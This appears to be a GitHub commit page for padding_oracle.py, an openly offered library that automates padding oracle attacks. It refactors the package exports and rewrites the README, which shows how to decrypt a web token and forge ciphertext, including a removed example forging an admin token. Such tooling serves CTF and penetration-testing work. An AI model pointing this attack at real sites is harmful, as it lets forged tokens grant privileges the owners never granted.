Skip to content

Commit 84716a7

Browse files
committed
refactor: support encryption
1 parent 360cfcc commit 84716a7

File tree

10 files changed

+446
-438
lines changed

10 files changed

+446
-438
lines changed

.github/workflows/python-package.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ jobs:
1616
strategy:
1717
fail-fast: false
1818
matrix:
19-
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
19+
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11", "3.12"]
2020

2121
steps:
2222
- uses: actions/checkout@v3

README.md

Lines changed: 66 additions & 71 deletions
Original file line numberDiff line numberDiff line change
@@ -1,116 +1,111 @@
1-
# Padding Oracle Python Automation Script
1+
# Padding Oracle Automation in Python
22

3-
![python-package-badge](https://github.com/djosix/padding_oracle.py/actions/workflows/python-package.yml/badge.svg)
3+
![Python Package Badge](https://github.com/djosix/padding_oracle.py/actions/workflows/python-package.yml/badge.svg)
44

5-
The padding_oracle.py is a highly efficient, threaded [padding oracle](https://en.wikipedia.org/wiki/Padding_oracle_attack) attack automation script, specifically developed for Python 3.
5+
This script automates padding oracle attacks in Python, offering efficient and threaded execution.
66

77
## Installation
88

9-
You can install the package using either PyPI or directly from GitHub:
9+
You can install the script using one of these methods:
1010

11-
**Via PyPI:**
12-
```shell
13-
pip3 install -U padding_oracle
14-
```
11+
- **Via PyPI:**
12+
```shell
13+
pip3 install -U padding_oracle
14+
```
1515

16-
**Via GitHub:**
17-
```shell
18-
pip3 install -U git+https://github.com/djosix/padding_oracle.py.git
19-
```
16+
- **Directly from GitHub:**
17+
```shell
18+
pip3 install -U git+https://github.com/djosix/padding_oracle.py.git
19+
```
2020

21-
## Performance Metrics
21+
## Performance
2222

23-
Performance of padding_oracle.py was evaluated using [0x09] Cathub Party from EDU-CTF:
23+
The script's performance varies depending on the number of request threads. This was tested in a CTF web challenge:
2424

25-
| Number of Request Threads | Time Taken |
26-
|-----------------|----------------|
27-
| 1 | 17m 43s |
28-
| 4 | 5m 23s |
29-
| 16 | 1m 20s |
30-
| 64 | 56s |
25+
| Request Threads | Time Taken |
26+
|-----------------|-------------|
27+
| 1 | 17m 43s |
28+
| 4 | 5m 23s |
29+
| 16 | 1m 20s |
30+
| 64 | 56s |
3131

32-
## How to Use
32+
## Usage
3333

3434
### Decryption
3535

36-
To illustrate the usage, consider an example of testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
36+
When trying to decrypt a token like the one at `https://example.com/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`, this script assumes that the token is vulnerable to a padding oracle attack.
3737

3838
```python
39-
from padding_oracle import padding_oracle, base64_encode, base64_decode
39+
from padding_oracle import decrypt, base64_encode, base64_decode
4040
import requests
4141

42-
sess = requests.Session() # use connection pool
43-
url = 'https://vulnerable.website/api/'
42+
sess = requests.Session() # Uses connection pooling
43+
url = 'https://example.com/api/'
4444

4545
def oracle(ciphertext: bytes):
46-
resp = sess.get(url, params={'token': base64_encode(ciphertext)})
47-
48-
if 'failed' in resp.text:
49-
return False # e.g. token decryption failed
50-
elif 'success' in resp.text:
46+
response = sess.get(url, params={'token': base64_encode(ciphertext)})
47+
if 'failed' in response.text:
48+
return False # Token decryption failed
49+
elif 'success' in response.text:
5150
return True
5251
else:
53-
raise RuntimeError('unexpected behavior')
54-
55-
ciphertext: bytes = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=')
56-
# len(ciphertext) is 32
57-
# possibly be "IV + cipher block" if block size is 16
52+
raise RuntimeError('Unexpected behavior')
5853

54+
ciphertext = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=')
5955
assert len(ciphertext) % 16 == 0
6056

61-
plaintext = padding_oracle(
57+
plaintext = decrypt(
6258
ciphertext,
63-
block_size = 16,
64-
oracle = oracle,
65-
num_threads = 16,
59+
block_size=16,
60+
oracle=oracle,
61+
num_threads=16,
6662
)
6763
```
6864

6965
### Encryption
7066

71-
To illustrate the usage, consider an example of forging a token for `https://vulnerable.website/api/?token=<.....>` :
67+
Below is an example demonstrating how to encrypt arbitrary bytes. For a detailed understanding of the process, please refer to [this Pull Request](https://github.com/djosix/padding_oracle.py/pull/4). Keep in mind that, unlike the decryption process, this functionality cannot be parallelized.
7268

7369
```python
74-
from padding_oracle import padding_oracle, base64_encode, base64_decode
75-
import requests
70+
from padding_oracle import encrypt
7671

77-
sess = requests.Session() # use connection pool
78-
url = 'https://vulnerable.website/api/'
72+
ciphertext = encrypt(b'YourTextHere', block_size=16, oracle=oracle)
73+
```
7974

80-
def oracle(ciphertext: bytes):
81-
resp = sess.get(url, params={'token': base64_encode(ciphertext)})
75+
### Customized Logging
8276

83-
if 'failed' in resp.text:
84-
return False # e.g. token decryption failed
85-
elif 'success' in resp.text:
86-
return True
87-
else:
88-
raise RuntimeError('unexpected behavior')
77+
Both `encrypt` and `decrypt` allow user to inject a custom logger:
8978

90-
payload: bytes =b"{'username':'admin'}"
79+
- **Disable Logging:**
80+
```python
81+
from padding_oracle import nop_logger
9182

92-
ciphertext = padding_oracle(
93-
payload,
94-
block_size = 16,
95-
oracle = oracle,
96-
num_threads = 16,
97-
mode = 'encrypt'
98-
)
99-
```
83+
plaintext = decrypt(
84+
...
85+
logger=nop_logger,
86+
)
87+
```
88+
89+
- **Selective Logging:**
90+
```python
91+
def logger(kind: str, message: str):
92+
if kind in ('oracle_error', 'solve_block_error'):
93+
print(f'[{kind}] {message}')
10094

101-
In addition, the package provides PHP-like encoding/decoding functions:
95+
plaintext = decrypt(
96+
...
97+
logger=logger,
98+
)
99+
```
100+
101+
### Extras
102+
103+
The script also includes PHP-like encoding and decoding functions:
102104

103105
```python
104-
from padding_oracle.encoding import (
105-
urlencode,
106-
urldecode,
107-
base64_encode,
108-
base64_decode,
109-
)
106+
from padding_oracle.encoding import urlencode, urldecode, base64_encode, base64_decode
110107
```
111108

112109
## License
113110

114-
Padding Oracle Python Automation Script is distributed under the terms of the MIT license.
115-
116-
<!-- PiuPiuPiu -->
111+
This script is distributed under the MIT license.

src/padding_oracle/__init__.py

Lines changed: 27 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -20,23 +20,36 @@
2020
SOFTWARE.
2121
'''
2222

23-
from .solve import solve, convert_to_bytes, remove_padding
24-
from .encoding import (
25-
urlencode, urldecode,
26-
base64_encode, base64_decode,
27-
to_bytes, to_str,
23+
from .padding_oracle import (
24+
decrypt,
25+
encrypt,
2826
)
29-
from .legacy import padding_oracle
27+
from .utils import (
28+
to_bytes,
29+
to_str,
30+
base64_encode,
31+
base64_decode,
32+
urlencode,
33+
urldecode,
34+
remove_padding,
35+
add_padding,
36+
)
37+
from .logger import Logger, default_logger, nop_logger
38+
from .solve import solve
3039

3140
__all__ = [
32-
'solve',
33-
'convert_to_bytes',
34-
'remove_padding',
35-
'padding_oracle',
36-
'urlencode',
37-
'urldecode',
38-
'base64_encode',
39-
'base64_decode',
41+
'decrypt',
42+
'encrypt',
4043
'to_bytes',
4144
'to_str',
45+
'base64_encode',
46+
'base64_decode',
47+
'urlencode',
48+
'urldecode',
49+
'remove_padding',
50+
'add_padding',
51+
'solve',
52+
'Logger',
53+
'default_logger',
54+
'nop_logger',
4255
]

0 commit comments

Comments
 (0)